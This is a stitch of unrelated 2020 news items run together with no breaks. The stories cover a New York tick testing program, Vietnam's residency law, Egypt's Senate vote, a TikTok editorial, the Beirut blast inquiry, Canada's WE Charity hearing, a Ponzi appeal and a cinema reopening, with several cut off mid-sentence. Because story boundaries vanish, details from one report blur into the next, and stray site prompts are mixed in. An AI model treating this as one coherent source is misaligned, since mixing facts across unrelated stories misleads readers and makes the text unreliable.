Upstates Citizen Science Tick Testing Program, which started last year, added a question in March asking people who mailed in ticks to describe where on the body the tick was found. That could be helpful in helping people avoid tick bites and the illnesses they cause, primarily Lyme disease, Thangamani said. Finding out where ticks latch onto a human body (lets) people check themselves in the proper locations when they come in from outside, he said. Ticks were pulled from other hard-to-see locations, including the scalp, armpits, belly button and back of the knee. Fewer but still significant numbers were found on easier-to-see places, including the chest, waist, upper arm and wrist. As the chart below shows, ticks in Central New York were pulled off just about everywhere on the body. Black-legged, or deer, ticks can carry multiple diseases, including Lyme, anaplasmosis, miyamotoi and the rare but potentially fatal Powassan virus. Nymphs bite and remain attached to the body for three to five days, while adults can be on the body for a week or more, Thangamani said. Adult ticks are larger and thus easier to find and remove, but are more likely to carry disease than nymphs. The Upstate survey also received a combined 301 lone star and dog ticks that had attached to humans. Both types of ticks were also commonly found on the thighs, but the dog tick seemed to prefer the scalp: About a third of them were found there. Neither the dog nor the lone star tick transmits the Lyme bacteria, but they can pass on other diseases. Lone star ticks can also cause a severe allergy to red meat. Experts say the earlier you pull off a tick, the lower the odds of getting sick. Use a pair of fine-tipped tweezers to pull the tick slowly from your skin. The citizen science program encourages New York residents to mail in ticks found on their bodies or pets, or just crawling in their back yard. Since its launch in summer 2019, the lab has received and tested more than 5,200 ticks. Thangamani said the information gleaned from submitted ticks will help scientists understand the spread of ticks and their diseases. So far, 29% of the ticks sent in have carried one or more disease-causing bacteria or virus. The most common is the bacteria that causes Lyme disease, which was found in about 27% of black-legged, or deer, ticks. Experts say avoiding tick bites is the most important way to stay free of disease. Thangamani recommends spraying clothing with the pesticide permethrin and using DEET or other insect repellent on skin. If you find a tick and want to find out if its carrying a disease, you can mail it to the lab. Fill out a tick submission form first, and you can get results by email. The service is free. Upstate Medical University has compiled a list from Central New Yorkers of the most common places on the human body where ticks attach. READ MORE How to remove a tick to prevent Lyme disease: NY health department (video) Aggressive lone star tick invades CNY, raising fears of new diseases After 4 painful years, CNY womans mystery illness finally traced to rare tick-borne bacteria The need to have extra requirements for people when applying for regular residency in cities affiliated to the central Government, also known as centrally-run cities like Hanoi or HCM City, remains controversial in the agenda of the National Assemblys Standing Committee on Monday. Ta Hien Street in Hanoi's downtown area. Many National Assembly deputies agreed that in the revised law on residency, there is no need to regulate extra requirements for residents when they want to register to live in centrally-run cities like Hanoi. VNA/VNS Photo Thanh Dat Speaking at the meeting, Chairman of the Legal Committee of the National Assembly, Hoang Thanh Tung, said that many National Assembly deputies agreed that in the revised law on residency, there was no need to regulate extra requirements. Some said a roadmap was needed to remove the extra requirements, especially for residency registration in Hanoi and HCM City to ensure that infrastructure and necessary services could deal with increasing population if the current residency policy is loosened. However, there remain opinions supporting the existence of extra requirements in centrally-run cities as regulated in current law. Under the draft of the revised law on residency, Peoples Councils at the provincial level are empowered to decide average housing areas as a criterion for applying for regular residency. Meanwhile, Hung said the regulation would add a requirement for people when they applied for regular residency in provinces, creating discrimination in exercising peoples residency rights in different localities. Another controversial issue relating to the revised residency law is the removal of citizens regular residency registration. Many deputies agreed to add the regulation on the removal of regular residency registration when citizens are absent from their registered regular residency for at least 12 continuous months without registering temporary residency in another location, nor reporting their absence to the ward/commune/town police except when they legally go overseas. Other deputies argued that when citizens regular residency registration was removed, their rights would be affected and they would face difficulties when applying for relevant public administrative services. Household registration books Under the draft law, the manual method of residence management by household registration book and temporary residence certificate will be replaced with e-management using information technology. Specifically, authorities will use citizens' personal identification numbers to access and update information on the National Database on Population, which is shared and connected with ministries and agencies. The draft also removed the regulations on household registration books, household registration transfer papers, and making changes in the household registration book as stated in the current resident law. As the draft revised law is approved and is expected to take effect from July next year, the household registration books will be invalid. However, some deputies are still sceptical about the deadline, saying that there was not enough time to complete the relevant population database and make it ready for use. The NA Standing Committee suggested adding a regulation on the transition period during which State agencies and people can use both information available on the national population database and paper-based residency documents like household registration books in administrative services, especially in localities with infrastructure failing to connect to the national population database. The transition period is suggested to last until the end of 2025. Speaking at the meeting, vice chairman of the NA Standing Committee Uong Chu Luu said that the revised law on residency was an important bill concretising the Constitution 2013s regulations on citizens freedom to residency. The bill also required speeding up the application of information and technology in population management, administrative procedure simplification and creating more convenience for people when exercising their rights. Vice chairwoman of NA Standing Committee Tong Thi Phong said that to manage temporary residency, requirements were needed but regulations should help people access housing conveniently and help authorities manage residency effectively. The residency policy aimed to ensure citizens living conditions, the right to education and the implementation of disaster relief or social welfare. Residency registration requirements must not be used to prevent rural people from moving to urban areas for living and working, Phong said. Higher fines for illegal immigration Also at Monday's meeting of the NA Standing Committee, the draft revised law on administrative fines was discussed. NAs Foreign Affairs Committee chairman Nguyen Van Giau suggested that the maximum fine in border protection and illegally bringing people into Vietnam should be increased to VND75 million. Minister of Justice Le Thanh Long said that fines for the violation under current law were up to VND30-40 million. Accommodation which receives foreigners and lets them stay overnight without reporting to authorities about their stay or instructing them to report their stay face a fine of up to VND2 million. Foreigners crossing the border without undergoing immigration procedures face a fine of up to VND5 million. Besides fines, violators would have property seized, they would be expelled or face other criminal sanctions. Giau said that stricter punishments were needed as illegal immigration was growing in Vietnam. The Border Guard Command stopped over 16,000 illegal immigrants in the last seven months. Criminal proceedings were launched in 30 cases involving 70 people. At first, I heard about illegal immigration at border provinces but then learned that illegal immigrants travelled far into the country, Giau said, urging lawmakers to review and revise current regulations. VNS National Assembly discusses managing citizen residency via ID numbers Members of the National Assembly (NA) Committee of Legal Affairs on Tuesday agreed on managing citizen residency via 12-digit personal identification numbers updated on the national online database. Members of the Papillion La Vista Education Association demonstrated Monday along 84th Street outside the school administration building in Papillion on the eve of the first day of classes. Union members have expressed opposition to the school boards plan for reopening schools. Under the plan, about 90% of students will return in person, with masks and other health protocols, and 10% will learn remotely. Union members have said the density of students in the schools will make it impractical to social distance, making a blended or all-remote plan safer. Demonstrators carried signs with messages including Protect our community and families, We dont feel safe with our current plan and Protect our babies and elders. At Mondays school board meeting, member Chuck Zurcher said kids need to get back in school. Its a good plan, he said. Its the right plan for this community.ucators protest for a mask mandate Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The vote is symbolic as the Senate is an advisory body without legislative powers and will act mainly in advisory role. Egyptians have started voting for the Senate, the upper chamber of Parliament that was revived as part of constitutional amendments approved in a referendum last year, in an election that comes as the country faces an uptick in daily numbers of new coronavirus cases. Authorities have said face masks would be handed out to voters and polling stations were disinfected in the run-up to the balloting to ease concerns amid the pandemic. The vote is mostly a symbolic exercise as the Senate unlike the House of Representatives, the lower chamber has no legislative powers and will act mainly in an advisory role. It replaces the Shura Council, which was dissolved in 2014. Billboards promoting little-known candidates have popped up across the capital Cairo and other cities in recent weeks, and online videos have explained the Senates role and urged people to cast their ballots. The balloting will extend for two days to allow for a maximum turnout with 63 million eligible voters who will choose two-thirds of the 300-member Senate, with 787 candidates running for those 200 Senate seats. Egyptian expats voted on Sunday and Monday. The first 100 seats in the running are reserved for individual candidates, the second for those running on a list dominated by pro-government parties. Egyptian President Abdel Fattah el-Sisi will choose the remaining 100 members. The results are expected within a week and the runoff will take place in September. Under the constitutional amendments approved last April, women will have a 25 percent quota in the chamber. However, the Senate vote is unlikely to revitalise the already stagnant political scene in Egypt, according to Mustapha Kamel al-Sayyid, political science professor at Cairo University. It could be useful in terms of being a way to reward those backing Sisi, he added. Election banners for candidates in the upper house of Parliament are displayed on a street in Cairo [Nariman El-Mofty/AP Photo] Lasheen Ibrahim, chairman of the National Election Authority, called voting a national duty and warned in televised comments on Saturday that those who boycott the election could be fined up to 500 Egyptian pounds ($32) under an Egyptian law that has existed for years but was never really implemented. The election comes despite an uptick in coronavirus cases this week. Egypt, a country of more than 100 million people, has reported almost 96,000 cases with more than 5,000 related deaths, according to data compiled by Johns Hopkins University. Egypts latest constitutional amendments extended a presidents term in office from four to six years, allowing for a maximum of two terms. But they also included a specific article extending el-Sisis current second four-year term to six years and allowing him to run for another six-year term in 2024 potentially extending his rule until 2030. In 2013, el-Sisi led the military overthrow of Egypts first democratically elected president, Mohamed Morsi. El-Sisi has since presided over an unprecedented crackdown on dissent. Under el-Sisi, Egypt has launched a sweeping crackdown on the opposition, especially Morsis now-outlawed Muslim Brotherhood group, as well as leftist and secular activists, journalists and bloggers. Heavy restrictions have been imposed on protests and critical websites blocked. Rights groups say freedoms gained in the 2011 uprising against Hosni Mubarak have largely been rolled back. (ANSA) - ROME, 11 AGO - Emilia-Romagna Governor Stefano Bonaccini is set to sign an ordinance making it obligatory for holidaymakers returning from Greece, Spain and Malta to have a coronavirus swab as of Wednesday, sources said. As a result, people returning from vacations in these three countries will have to immediately report their arrival to their local health authority. They will then have a swab within 24 hours. They will not be obligated to go into quarantine if the result is negative. (ANSA). Actor Sanjay Dutt has announced that he is taking a break from work due to health concerns. The actor says he is seeking a medical treatment. Sanjay took to social media to share the message with his fans. Hi friends, I am taking a short break from work for some medical treatment. My family and friends are with me and I urge my well wishers not to worry or unnecessarily speculate. With your love and good wishes, I will be back soon!, he wrote. Sanjays fans prayed for his speedy recovery. Prayers for you sir love you reply for England fan, wrote one. Good bless you baba, wrote another. The actor was admitted to Lilavati Hospital in Mumbai last week after he complained of difficulty in breathing. He had tested negative for Covid-19. On August 8, soon after hospitalisation, he had issued a statement on Twitter assuring his followers that he is doing well. An official from Lilavati Hospital told PTI that Sanjay Dutt was discharged around 3 pm, Monday. He was later clicked outside his Bandra residence, where he waved to the waiting photographers and well-wishers. Also read: Ankita Lokhande welcomes twins Abeer and Abeera to family: A new life has begun, see pic The actor is the eldest child of late Bollywood stars Nargis and Sunil Dutt. He has two sisters -- Priya Dutt and Namrata Dutt. He is married to Maanayata Dutt with whom he has two children, a son and a daughter. He also has a daughter Trishala Dutt from his first marriage to Richa Sharma. She died of brain tumour in 1996. The trailer for his film Sadak 2 is scheduled to release on Tuesday. Follow @htshowbiz for more SHARE THIS ARTICLE ON America has a China problem as does the rest of the free world. For that reason, we welcome the shift by the Trump administration to begin confronting China over human rights abuses and other outrages with the same gusto hes previously reserved for trade disputes. But forcing the sale of TikTok, the wildly popular social media app that has become a daily habit for millions of Americans, just because it is owned by a Chinese firm is not the way to change the behavior of Chinas increasingly autocratic leadership. Like the decision last month to abruptly close the Chinese consulate in Houston, President Donald Trumps announcement that hell shut down access to TikTok from the United States reads more like another tit-for-tat response than a sustainable strategy aimed at standing up for democracy and human rights both of which are under serious attack on the mainland and in Hong Kong. Many Democrats have been loath to say so with Trump in the White House, but China has long been guilty of rampant intellectual property theft, unfair trade practices such as its currency manipulations and increasingly aggressive territorial claims in nearby international waters. Within its borders, China has repressed its own dissidents, operated so-called black jails (read: secret prisons) and targeted ethnic minorities such as the Uighur in the Xinjiang region. On HoustonChronicle.com: Editorial: Trump wrong to shut Chinese consulate in Houston Its true that engagement with China has been part of the geopolitical strategy of U.S. presidents since Richard Nixon re-established diplomatic relations with the giant rival. Presidents of both parties have had to weigh the simple fact that China is one of Americas largest trading partners, an enormous market for our products and at times an important partner in maintaining stability in Asia, including its role as an occasionally useful check on erratic North Korea. But lately, the balance has begun to tip. Chinas crackdown on pro-democracy protesters in Hong Kong, widespread reports of ethnic cleansing in Xinjiang and the introduction of restrictive new security laws now demand a forceful objection from the United States and the rest of the world. More is at stake than trade. Trump has been slow to recognize this, in part because of the exalted value he places on personal relationships with leaders such as Chinas newly declared president for life, Xi Jinping. But while its worth applauding Trumps decision to begin pushing back, its important to note that so far his calculated steps have been ill-chosen. That was evident last month when the president ordered the sudden closure of Chinas consulate in Houston, a step that predictably led to retaliatory steps in China such as its closing of the American consulate in Chengdu in western China but no significant pressure on the regime to change. It is evident again in his TikTok threat. When he first announced it a week ago last Friday, members of his own party recoiled. Immediately, Sen. Lindsey Graham of South Carolina was enlisted to change his mind. It worked, kind of. Trump quickly agreed to delay the order to give Microsoft time to complete negotiations with TikToks owners to buy its U.S. operations,prompting many Trump allies to sigh with relief. Sen. John Cornyn of Texas said it looked like a win-win. But is it? America speaks most powerfully when its actions are grounded in concern for human rights, for civil liberties and for fair play. Coercing a company to sell a large part of its business Chinese owned, or not is hardly something America can be proud of. Nor is the presidents astounding declaration that proceeds from any sale must be shared generously with the U.S. treasury. It is quite ironic that, while discussing protecting Americans from Chinas government, the U.S. is considering firewalls and censorship one of the hallmarks of the Chinese internet strategy, said David Greene, the civil liberties director and senior staff attorney at the Electronic Frontier Foundation. Hes right. This nation has usually and properly condemned China whenever it refused to allow its citizens access to U.S.-based companies such as Google, Facebook or YouTube. While Greene and others acknowledge there are grounds to be concerned about TikToks collection of user data, and about the Chinese surveillance state that could win access to that data, the solution cant be so blunt as to ban tens of millions of Americans from accessing the video platform of their choice. When America stands up for human rights or for privacy, it must be careful not to rely on the tools of the same autocrats it seeks to confront. The two people who allegedly attacked a teenage Sesame Place employee in a dispute over their wearing masks have been tentatively identified, police in Bucks County said Tuesday. The 17-year-old employee was working at the Captain Cookies High Cs Adventure ride late Sunday afternoon when he was attacked by two patrons, described as a man and a woman in their 20s. READ MORE: Teenage Sesame Place employee punched over mask-wearing requirement The employee had encountered the pair earlier and had reminded them that they were required to wear masks while in the park. Police on Monday said the man punched the employee in the face, causing injuries that required surgery to his jaw. On Tuesday, police in Middletown Township said the man and woman attacked the employee and knocked him to the ground. The pair, accompanied by others, then fled the park in a vehicle registered in New York. Investigators reviewing surveillance video and other records were able to tentatively identify the pair. When positive identification is established, police said, they will seek to have charges and extradition approved by the Bucks County District Attorneys Office. Detectives will then work with police in New York and other agencies to coordinate the arrest of the suspects, police said on Tuesday. This award-winning national program, which brings small groups together to discuss race relations, ran strong in Aurora from 1998 until 2007 when funding ran out. The calls to revive it locally were initially raised in 2016 when the Black Lives Matter movement put race relations and police reform front and center across the country. And those voices have grown even louder in our communities in recent months with the death of George Floyd by Minneapolis police that touched off protests here and from coast to coast, some of which turned violent. Source: Xinhua| 2020-08-12 02:26:49|Editor: huaxia Video Player Close BEIRUT, Aug. 11 (Xinhua) -- Lebanese President Michel Aoun vowed on Tuesday to continue investigations into the explosions that rocked Beirut on Aug. 4, killing 171 people and wounding around 6,000 others. "I will not remain silent nor will I rest until we reveal all the facts about these explosions; referring the explosions to the Supreme Judicial Council is the first step in this direction," Aoun said in a statement. Primary information reveals that ammonium nitrate stored since 2014 in warehouse No. 12 at Port of Beirut may have caused the explosions in Beirut. The ruling political class came under heavy criticism by the Lebanese people who accused them of negligence and recklessness by storing a big volume of ammonium nitrate at Beirut's port. On Monday, the Lebanese cabinet resigned following the resignation of several ministers. The Lebanese cabinet referred the case to the judicial council based on a proposal by Caretaker Minister of Justice Marie-Claude Najm. Enditem MARIANNA After a two-week investigation into a stolen vehicle crash and fire on Hudson Road, officers made an arrest after responding to a call involving subjects brandishing firearms at a local hotel Monday night. Albert Newton Alpo Brincefield, 39, is charged with grand theft of a motor vehicle, arson, felony driving while license suspended, tampering with evidence, possession of methamphetamine with intent to sell, possession of schedule IV narcotic, and possession of prescription medication without a prescription. According to the Jackson County Sheriffs office, on July 21 at 11:16 a.m., the Florida Highway Patrol, the sheriffs fffice and the State Fire Marshals Office began an investigation into a vehicle crash south of Alford. Upon arrival officers found the vehicle destroyed by fire. Police were also informed the vehicle was reported stolen out of Holmes County, Florida. "I don't really have time to talk to people anymore, to have that sense of community with them," Heirloom Bakery co-owner Scott Meinke said, "which is really sad because that's about 50% of the restaurant - connecting with your customers." Trendlines Medical Shanghai partners with Chinese medical companies, governmental programs, and entrepreneurs to develop novel medical technologies for the Chinese and global markets. SHANGHAI and MISGAV, Israel, Aug. 11, 2020 /PRNewswire/ -- The Trendlines Group Ltd. (the "Company" and together with its subsidiaries, "Trendlines" or the "Group") (SGX: 42T) and (OTCQX: TRNLY), an Israel- and Singapore-based investment group focused on inventing technologies and creating medical device and agrifood companies, announced that it has expanded its activities to Shanghai with the establishment of Trendlines Medical Shanghai Innovation Center ("Trendlines Medical Shanghai"), which has recently started operations. Trendlines Medical Shanghai leverages Trendlines' innovation strengths and experience in the medical device industry and its unique incubation model in Israel and Singapore. Combining Israel's technological and innovation capabilities, together with Chinese medical companies' targeted R&D projects, and partnerships with government funds, Trendlines Medical Shanghai will incubate and commercialize new companies to answer China's and global healthcare needs. Trendlines Medical Shanghai will bring outstanding medical device portfolio companies established by Trendlines in Israel and Singapore to the Chinese market. Trendlines Medical Shanghai is located in the China-Israel Innovation Hub in Shanghai's Putuo District ("CIIH"). CIIH focuses on innovation through joint ventures. CIIH is positioning itself as a platform for R&D, technology exchange, and business incubation, focused on needs from local medical device companies. The Trendlines Group Chairman and CEO, Todd Dollinger, commented, "We believe that our strengths and experience in bringing medical device technologies from idea to commercialization, together with China's strong engineering and production capacity, combined with enormous market demand, creates fertile ground for the success of Trendlines Medical Shanghai. We look forward to growing our China operations in Shanghai and bringing together Israeli, Singaporean, and Chinese talent to fulfill our mission of improving the human condition." Trendlines Medical Shanghai CEO Tony Lou remarked, "An international financial center, Shanghai has an abundance of resources, including world-class medical facilities and prestigious universities and R&D institutions that provide a strong foundation for the development of innovative medical devices. Joining forces with Trendlines utilizes the respective advantages of China and Israel to bring new medical products to market." About The Trendlines Group Trendlines is an investment group that invents, discovers, invests in, and incubates innovation-based medical and agrifood technologies to fulfill its mission to improve the human condition. As intensely hands-on investors, Trendlines is involved in all aspects of its portfolio companies, from technology development to business building. Trendlines' shares are traded on the Singapore Stock Exchange (SGX: 42T) and in the United States as an American Depositary Receipt (ADR) on the OTCQX (OTCQX: TRNLY). Contact: Eddy Wang eddy@trendlines.com Phone: +86.13381037955 At least VND700 billion worth of work on the dam on Tra Khuc River downstream has been implemented, but the project is likely to stop temporarily because of many problems. According to Tai Nguyen & Moi Truong, in late June, the Quang Ngai provincial agriculture department released a report on the investment procedures of the Tra Khuc River downstream dam, warning of the lack of technical solutions to the system of collecting, treating and draining waste water for the central area of Quang Ngai City and neighboring areas, and the lack of an environmental impact assessment (EIA). Huynh Trong, a programing and civil engineering expert, warned that the consequences may be extremely serious. If the project is completed without any technical solutions to the waste water collection and treatment system for Quang Ngai City, water will flow back to the city, which means the city will have to deal with waste water and pollution. Thousands of hectares of agricultural land on the river banks will also be inundated. How will farmers get land for production? According to Trong, investors must prepare environmental impact statements by a professional unit with experience before they design projects. In this case, there was no EIA when the project was approved and the EIA was only provided after the approval, Trong said. Meanwhile, the EIA was implemented by an incapable company with lack of experience, he said. At least VND700 billion worth of work on the dam on Tra Khuc River downstream has been implemented, but the project is likely to stop temporarily because of many problems. The project is also facing a lack of money. Contractors still have not been paid for the work they have implemented. The tardiness in capital allocation has resulted in contractors being owed tens of billions of dong and they may have to stop work, a contractor said. It is an extremely important project and contractors have to fulfill a certain workload before the flood season comes. The rainy and flood season is expected in Quang Ngai in several months with extreme weather predicted. Construction items of the dam project remain unfinished. Many experts have expressed concern whether the project can cope with the power of water in the flood season. The floods in China and India are very complicated because of climate change. In Vietnam, the floods are unpredictable. Therefore, it is necessary to reassess the project scientifically and carefully, said Nguyen Hoang Ngan, an engineer. If not done properly, the work may drift into the sea, he warned. The Tra Khuc River Dam project was approved in April 2004 and construction kicked off in September 2010. Translated by Le Ha Dong Thap faces increasing river erosion Erosion along river banks in the Cuu Long (Mekong) Delta province of Dong Thap has caused more than VND8.2 billion (US$353,800) in property damage this year, according to the provinces Irrigation Sub-department. Following the announcement that they have forged a partnership with a new distributor, US-based automotive aftermarket brand ACDelco has announced the re-launch of their website designed for the Philippine market. The redesigned portal is aimed to bolster the aftermarket brand's presence in the country digitally and to provide better service by tending to the automotive needs of customers. ACDelcos product range includes car maintenance parts, batteries, lubes, premium oils, filters, wipers and many more. To make it easier for the customers to locate their much-needed ACDelco part, ACDelco Philippines Managing Director Dicken Wong said that they would also be adding a new feature to the website called Parts Finder. ACDelco is about reliability and efficiency and that is why we want our customers to get their products fast and easy, Wong told Carmudi Philippines. Further, Wong said that the new portal as well as the company's social media pages are ready to answer queries about corporate partnership, product information, technical support, dealer locations and/or general inquiry about the automotive products available locally. ACDelco Spark Plugs The ACDelco brand has been around for more than a century, started by William Durant and his company, United Motors Corporation. In the earlier years, Durant got hold of several smaller parts manufacturers including Dayton Engineering Laboratories Company (DELCO). ACDelco has literally gone out of this world after partnering with NASA. It is a major parts supplier of General Motors. In the 2000s, ACDelco started tapping the market outside North America, reaching Africa, Japan and India. ACDelco oils Below are some of the products offered locally: Lubricants cost-effective mineral, semi-synthetic or pure synthetic oil, and the flagship Dexos line. Battery heavy-duty Sealed Maintenance Free (SMF) batteries with lead calcium grids to ensure durability while minimizing corrosion and water loss. Fluids brake oils, coolants, carburetor and fuel system cleaners, transmission fluids for car care. Story continues Wiper Blades aerodynamically-engineered and manufactured to effectively remove those stubborn dirt on windshields Spark Plugs the product that started it all. Product ranges from traditional plugs for older vehicles to a platinum performance line for the latest models. Photos from ACDelco Philippines Also read: Top 5 Excellent Brake Pads to Use This Rainy Season Synthetic Oils: Should You Use Them? Vehicle Not Starting? Check Your Spark Plugs The Medical and Dental Council has caused the arrest of two fake physician assistants for allegedly practising without requisite documents. A statement from the council said the two persons were arrested after a routine monitoring exercise conducted by the Council at the health facilities in line with standard practice. The two quack physician assistants are Abdulai Abubakar Sadik (Tamale Technical University Hospital) and Richard Dzomeku (Good Morning Clinic at Adentan New site) who were nabbed on July 27 and August 7, 2020, respectively. They are currently in police custody assisting with investigations. Abdulai Abubakar Sadik claims to have graduated in July 2015 with a BSc. Certificate in Physician Assistantship from the Central University College in Accra had since been employed and practising at the Tamale Technical University as the Clinical Care Coordinator of the hospital contrary to law. He was subsequently arrested with the assistance of the Northern Regional Police Command and is currently on police enquiry bail. For Richard Dzomeku, he was met consulting at the Good Morning Clinic at Adentan New site. At the time of the arrest, there were two patients on admission at the female ward of the facility. In accordance with the Councils commitment to ensure care continuum and the safety of the patients, Council oversaw the evacuation of the two patients to Madina Polyclinic where they were passed by a medical doctor and managed accordingly. He is also in police custody. Meanwhile, the Council assures the public that it will continue to guide the profession and protect health and safety. Members of the public and other personnel in the health profession are being encouraged to continue supporting the councils regulatory efforts by providing information about the conduct and competence of practitioners. ---citinewsroom OTTAWA - Canada's top public servant says federal officials did not probe the WE organization's financial situation or governance structure when doing homework on a deal with the charity to administer a pandemic grant program for student volunteers. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. Members of Parliament and Clerk of the Privy Council Ian Shugart wait for the House of Commons Ethics committee to begin in Ottawa, Tuesday, Aug. 11, 2020. THE CANADIAN PRESS/Adrian Wyld OTTAWA - Canada's top public servant says federal officials did not probe the WE organization's financial situation or governance structure when doing homework on a deal with the charity to administer a pandemic grant program for student volunteers. Due diligence focused on WE Charity's ability to deliver the program, Ian Shugart, clerk of the Privy Council, told the House of Commons ethics committee Tuesday. Shugart said senior officials at Employment and Social Development Canada, which ultimately signed the contract with WE, told him they had a track record with the organization, which reassured him about the charity. Prime Minister Justin Trudeau has said he initially pushed back on the proposal to have WE administer the Canada Student Service Grant when it came to his attention in early May, knowing his family's connections with the organization would lead to significant scrutiny. Shugart confirmed Trudeau asked for further evaluation of the deal, which would have paid WE Charity up to $43.5 million to administer a grant program designed to encourage students to sign up for volunteer work related to the COVID-19 pandemic. Ottawa budgeted $912 million for the program, but the deal with WE was for $543 million. Officials went back and examined whether WE Charity had the ability to administer a Canada-wide student volunteer program, and whether it could deliver these services in both official languages. Other issues relating to WE Charity's organization, board of directors, financial state and governance structure were not considered at that time, Shugart said. When it came back to cabinet two weeks later, Shugart says, he believed the due diligence undertaken was sufficient. The former chair of WE Charity's board of directors, Michelle Douglas, told the House of Commons finance committee last month she resigned in March after the organization began a series of mass layoffs but refused to provide financial justification to the board for them. She also testified a majority of those on the Canadian and American boards of the charity resigned or were replaced around the same time something WE co-founders Craig and Marc Kielburger said was part of a board renewal. On Tuesday, MPs on the House of Commons ethics committee posed questions about this change as well as why government's contract with WE was not directly to the charity, but with a separate corporate entity called WE Charity Foundation. Those issues were simply not flagged, Shugart replied. "I think knowing in retrospect what we know now, we probably would have inquired further," he added. The ethics committee is conducting a review of the existing safeguards in place to prevent conflicts of interest when the federal government decides how to spend taxpayers' dollars. But opposition MPs focused more pointedly on the government's agreement and dealings with WE Charity leading up to the since-abandoned agreement. Youth Minister Bardish Chagger, who also appeared Tuesday, said she had a telephone conversation on April 17 with WE co-founder Craig Kielburger, almost a week before Trudeau announced the program. She said this conversation was an unsolicited pitch about a youth social entrepreneurship program. Asked why she didn't disclose this conversation in a previous appearance at the Commons finance committee, which is also probing the WE controversy, Chagger said the conversation was not about the Canada Student Service Grant. Employment Minister Carla Qualtrough, whose department recommended WE Charity to run the program, told the committee Tuesday that she learned of the choice just before the proposal was to go to cabinet for approval on May 5. She said this was because the file fell under Chagger's portfolio as youth minister. Qualtrough defended the Liberal government's work to help Canadians during the height of the pandemic, but acknowledged this file was not handled properly. "It was a pandemic and things were crazy and we were going at breakneck speed, but we should have not dropped the ball on this," she said. "It's an unfortunate situation. I don't think it takes away from the really important, I would say fantastic work, that we have done for students and for Canadians." Trudeau and Finance Minister Bill Morneau, whose family also has ties to WE Charity, are both under investigation by the federal ethics commissioner. Both have apologized for failing to recuse themselves when cabinet approved the recommended agreement with the charity. Jen Zoratti | Next A weekly look towards a post-pandemic future delivered to your inbox every Wednesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Trudeau has been a featured speaker at six WE Day events and his wife hosts a podcast for the group, for which they have not been paid. However, the charity has covered hundreds of thousands in expenses for Sophie Gregoire Trudeau's as well as speaking fees and expenses to Trudeau's mother and brother for speaking at numerous WE events over the years. One of Morneau's daughters works for the organization, another has spoken at its events and his wife has donated $100,000. Morneau also revealed last month that he had repaid some $41,000 in expenses that WE had paid for him and his family in 2017 for trips to view two of its humanitarian projects in Ecuador and Kenya. Qualtrough disclosed Tuesday that she, too, was a guest speaker at one WE Day event in 2016. She said she was not paid and her expenses were not covered. NDP MP Charlie Angus said he believes this all shows there was a close "comfort level" between WE and senior Trudeau government officials, which he believes led to the current controversy. "Don't you feel if we had done more due diligence we wouldn't be in this debacle right now?" he said. This report by The Canadian Press was first published Aug. 11, 2020. Stan Bates, imprisoned for masterminding a Ponzi scheme that also took down former state Sen. Carlos Uresti, wants the U.S. Supreme Court to review his 15-year prison sentence. Bates, who was the CEO of San Antonio oil field services company FourWinds Logistics, has asked the nations high court to grant a writ of certiorari to review his case. Bates appeal comes more than five months after the 5th U.S. Circuit Court of Appeals upheld his sentence. In appealing the sentence, Bates has argued that his prison term was stiffer than warranted and should have been in the range of about 10 years to 12 years and seven months. On ExpressNews.com: Judge hands Uresti co-defendant Stan Bates 15-year prison sentence In 2018, Bates pleaded guilty to eight felonies, including securities fraud and money laundering, rather than stand trial with Uresti and businessman Gary Cain. A jury convicted both Uresti, the longtime San Antonio Democrat, and Cain of defrauding investors. Uresti was sentenced to 12 years and and Cain was sentenced to five years and eight months. Bates is serving his sentence in a low-security federal correctional institution in Bastrop. His scheduled release is in 2031. Bates received the longer prison sentence because he made significant false representations to induce investors to sign contracts with FourWinds, which bought and sold frac sand used in oil production. Bates disagreed with the finding by Senior U.S. District Judge David A. Ezra that the executive abused his position of trust with investors. On ExpressNews.com: A bankrupt frac-sand company, millions in losses, a Texas state senator and the FBI Bates, in his appeal, argued he did not hold a position of trust. In rejecting the appeal, a three-judge panel on the 5th Circuit ruled the court repeatedly has held individuals occupying high managerial offices may hold a position of trust. In his petition for review before the Supreme Court, filed last week, Bates argued the 5th Circuit didnt follow what our federal appeals courts have done in addressing the question whether a defendant held a position of trust. Bates wants the high court to grant his petition review, vacate the appeals courts opinion and send the case back a lower court to take up his sentence again. Bates faces an uphill battle. The Supreme Court accepts 100 to 150 of the more than 7,000 cases its asked to review each year, according to its website. A call to Bates federal public defender wasnt immediately returned Tuesday. Patrick Danner Patrick Danner covers banking, insurance, business litigation and bankruptcies. To read more from Patrick, become a subscriber. pdanner@express-news.net | Twitter: @AlamoPD Ive watched plenty of films in the last five months. But theyve all been on my computer screen. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. Ive watched plenty of films in the last five months. But theyve all been on my computer screen. Last weekend, I ventured back to a real-live movie theatre to see one of the few new releases out right now, The Burnt Orange Heresy (more on that later). On a Saturday night, the doors at the Landmark Cinemas 8 in Grant Park are opened but not fully retracted, giving the theatre a slightly hesitant air. The swanky lounge area is closed. Theres a hand-sanitizing station immediately inside, and masked staff members with spray bottles are cleaning high-touch surfaces. JOHN WOODS / WINNIPEG FREE PRESS Hand sanitizer greets Alison Gillmor as she heads to a movie at Grant Park. Signs set out COVID-19 protocols, including floor decals in the concession line marking two-metre distances with movie dialogue ("Its Just a Jump to the Left;" "To Infinity and Beyond!"). The concession stand offers reduced menu items and requests payment by cards, not cash. There is no milling around in the lobby. Screenings are spaced out to allow for cleaning and sanitizing spray-downs between shows. When the movie is over, audience members are encouraged to leave by row, from front to back, as you would exit an airplane, and then directed out into the mall by the side hallway, to avoid crowding. JOHN WOODS / WINNIPEG FREE PRESS Social-distancing markers, quoting Buzz Lightyear and others, remind guests at Landmark Cinemas that a trip to the movies has changed. Theatre seating is spread out. Two people who come together can sit together, but there will be two empty seats on either side of you and with those big, soft reclining chairs thats quite a distance. A checkerboard seating pattern also means theres no one directly behind or in front of you. This is actually kind of nice. Clearly, theres much thats different in the pandemic-era movie-going experience. Underneath all the social distancing and sanitizer, though, the familiar emotions are still there. I felt again the anticipation, the excitement, the immersiveness as the lights go down and the main feature starts to roll. Thats always been cinemas promise to take us out of our lives into some other world. It has carried movie audiences through economic depressions and wars. It will carry us through this, too. So, the film itself. The Burnt Orange Heresy is a neo-noir art thriller. Other movies playing at the Landmark Cinemas are classic blockbusters 